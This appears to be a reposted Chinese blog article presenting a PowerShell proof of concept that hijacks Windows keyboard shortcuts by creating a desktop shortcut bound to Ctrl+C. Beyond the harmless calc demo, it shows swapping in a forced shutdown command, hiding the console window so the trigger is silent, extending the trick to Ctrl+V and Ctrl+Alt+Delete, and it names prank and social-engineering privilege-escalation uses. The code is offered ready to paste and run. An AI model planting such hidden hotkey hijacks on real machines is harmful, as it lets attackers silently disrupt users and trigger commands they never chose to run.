打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
简单易用,用Powershell劫持Windows系统快捷键;含POC

方法非常简单,短短7行powershell创建快捷方式的代码就可以轻松搞定。


$WshShell = New-Object -comObject WScript.Shell$Shortcut = $WshShell.CreateShortcut('desktop\desktoppayload.lnk')$Shortcut.TargetPath = '%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe'$Shortcut.IconLocation = '%SystemRoot%\System32\Shell32.dll,21'$Shortcut.hotkey = 'ctrl+c'$Shortcut.Arguments = 'calc'$Shortcut.Save()

代码链接:https://gist.githubusercontent.com/jgamblin/4aa897a2cca6912eeea96a12d73d8cd6/raw/c898394b412a2b2f149cabec94aa08f8a519b0b7/calc.ps1


看一下效果:


使用方法

打开powershell,复制以上代码,粘贴在命令提示符里执行就可以了。

然后试试Ctrl+C,会发现,这个本来是复制的快捷键,竟然会弹出计算器了(Calc)。。。


如果要想按Ctrl+C,让机器关机怎么做?

很简单嘛,把calc改为关机的代码就可以了:

$Shortcut.Arguments = 'calc'

改成

$Shortcut.Arguments = 'shutdown -s -f -t 1'


原理分析

其实快捷方式本来就支持快捷键触发的,只是捏,通常只允许Ctrl+Alt开头。不过Powershell可以创建任意快捷键触发的快捷方式



代码分析

这代码比较好理解,整体上看就是用Powershell创建一个快捷方式。


代码的第二行指定了快捷方式的存放路径,这里填的是桌面。

第四行给快捷方式指定了图标,这里用的是shell32里的21号图标。

各个图标的编号可以参考这里:

参考:http://help4windows.com/windows_7_shell32_dll.shtml


足智多谋的你肯定可以举一反三,例如可以Ctrl+V,Ctrl+Alt+Delete 等统统改造一番。


美中不足的是,上面的7行代码在按下快捷方式的时候,会先闪出一个黑框。那,不要让他弹出黑框怎么做到捏?


就加一行,让其最小化执行。


$WshShell = New-Object -comObject WScript.Shell$Shortcut = $WshShell.CreateShortcut('desktop\desktoppayload.lnk')$Shortcut.TargetPath = '%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe'$Shortcut.IconLocation = '%SystemRoot%\System32\Shell32.dll,21'$Shortcut.hotkey = 'ctrl+c'

$Shortcut.WindowStyle = '7' 

$Shortcut.Arguments = 'calc'$Shortcut.Save()


劫持快捷键有很多利用的场景,恶搞也行,社工提权也可以做到。


哦,对,如果不想继续劫持快捷键怎么办?

直接删掉快捷方式就可以了。



本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
如何用VB建立快捷方式
键盘快捷键大全
9个必背电脑快捷键技巧
Windows7系统利用快捷键运行程序技巧
windows关机重启只在一秒瞬间
win10功能真是强大,有11种打开控制面板的方法,太方便了
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服